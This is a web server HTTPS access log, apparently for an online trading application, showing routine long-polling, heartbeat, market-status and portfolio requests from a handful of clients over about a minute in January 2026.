[09/Jan/2026:12:01:43 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931572451 HTTP/1.1" -
[09/Jan/2026:12:01:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931572475 HTTP/1.1" -
[09/Jan/2026:12:01:44 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931573535 HTTP/1.1" -
[09/Jan/2026:12:01:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/jquery/wait.gif HTTP/1.1" 432
[09/Jan/2026:12:01:44 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Portfolio HTTP/1.1" 1501
[09/Jan/2026:12:01:45 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931573989 HTTP/1.1" -
[09/Jan/2026:12:01:47 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931574719 HTTP/1.1" -
[09/Jan/2026:12:01:47 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931576730 HTTP/1.1" -
[09/Jan/2026:12:01:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:01:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:48 +0800] 192.36.109.131 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/tc/login.html HTTP/1.1" 1755
[09/Jan/2026:12:01:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:01:48 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931577756 HTTP/1.1" -
[09/Jan/2026:12:01:48 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931577518 HTTP/1.1" -
[09/Jan/2026:12:01:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931577693 HTTP/1.1" -
[09/Jan/2026:12:01:50 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931578746 HTTP/1.1" -
[09/Jan/2026:12:01:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931579053 HTTP/1.1" -
[09/Jan/2026:12:01:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:01:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:50 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:01:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931579806 HTTP/1.1" -
[09/Jan/2026:12:01:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:52 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:01:52 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931581790 HTTP/1.1" -
[09/Jan/2026:12:01:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931582777 HTTP/1.1" -
[09/Jan/2026:12:01:53 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931582586 HTTP/1.1" -
[09/Jan/2026:12:01:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931582925 HTTP/1.1" -
[09/Jan/2026:12:01:55 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/54822?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931584022 HTTP/1.1" -
[09/Jan/2026:12:01:55 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931584108 HTTP/1.1" -
[09/Jan/2026:12:01:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:55 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:01:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:56 +0800] 14.0.230.209 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:01:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:01:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:01:57 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:01:57 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931584862 HTTP/1.1" -
[09/Jan/2026:12:01:58 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931586860 HTTP/1.1" -
[09/Jan/2026:12:01:58 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931587798 HTTP/1.1" -
[09/Jan/2026:12:01:58 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931587648 HTTP/1.1" -
[09/Jan/2026:12:01:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931588058 HTTP/1.1" -
[09/Jan/2026:12:02:00 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931589172 HTTP/1.1" -
[09/Jan/2026:12:02:02 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931589886 HTTP/1.1" -
[09/Jan/2026:12:02:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931591929 HTTP/1.1" -
[09/Jan/2026:12:02:03 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931592830 HTTP/1.1" -
[09/Jan/2026:12:02:03 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931592720 HTTP/1.1" -
[09/Jan/2026:12:02:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931593194 HTTP/1.1" -
[09/Jan/2026:12:02:05 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931594240 HTTP/1.1" -
[09/Jan/2026:12:02:07 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931594960 HTTP/1.1" -
[09/Jan/2026:12:02:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931597107 HTTP/1.1" -
[09/Jan/2026:12:02:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931597876 HTTP/1.1" -
[09/Jan/2026:12:02:08 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931597780 HTTP/1.1" -
[09/Jan/2026:12:02:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931598317 HTTP/1.1" -
[09/Jan/2026:12:02:10 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931599297 HTTP/1.1" -
[09/Jan/2026:12:02:12 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931600033 HTTP/1.1" -
[09/Jan/2026:12:02:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931602181 HTTP/1.1" -
[09/Jan/2026:12:02:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931602921 HTTP/1.1" -
[09/Jan/2026:12:02:13 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931602833 HTTP/1.1" -
[09/Jan/2026:12:02:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931603518 HTTP/1.1" -
[09/Jan/2026:12:02:15 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931604356 HTTP/1.1" -
[09/Jan/2026:12:02:17 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931605214 HTTP/1.1" -
[09/Jan/2026:12:02:18 +0800] 27.159.75.50 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:12:02:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:02:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:02:18 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931607247 HTTP/1.1" -
[09/Jan/2026:12:02:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931607958 HTTP/1.1" -
[09/Jan/2026:12:02:19 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931607897 HTTP/1.1" -
[09/Jan/2026:12:02:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931608653 HTTP/1.1" -
[09/Jan/2026:12:02:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931609423 HTTP/1.1" -
[09/Jan/2026:12:02:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:02:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:20 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:02:21 +0800] 27.159.75.50 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET / HTTP/1.1" 3426
[09/Jan/2026:12:02:21 +0800] 27.159.75.50 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/blank.gif HTTP/1.1" 199
[09/Jan/2026:12:02:22 +0800] 27.159.75.50 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/folder.gif HTTP/1.1" 199
[09/Jan/2026:12:02:22 +0800] 27.159.75.50 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /favicon.ico HTTP/1.1" 196
[09/Jan/2026:12:02:22 +0800] 27.159.75.50 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /icons/text.gif HTTP/1.1" 199
[09/Jan/2026:12:02:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:02:22 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/52037?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931610251 HTTP/1.1" -
[09/Jan/2026:12:02:23 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931612313 HTTP/1.1" -
[09/Jan/2026:12:02:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931612987 HTTP/1.1" -
[09/Jan/2026:12:02:24 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931612964 HTTP/1.1" -
[09/Jan/2026:12:02:25 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931613934 HTTP/1.1" -
[09/Jan/2026:12:02:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:25 +0800] 219.77.161.4 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:12:02:26 +0800] 124.127.215.226 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/56129?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767931615338 HTTP/1.1" -
[09/Jan/2026:12:02:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:12:02:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:12:02:27 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
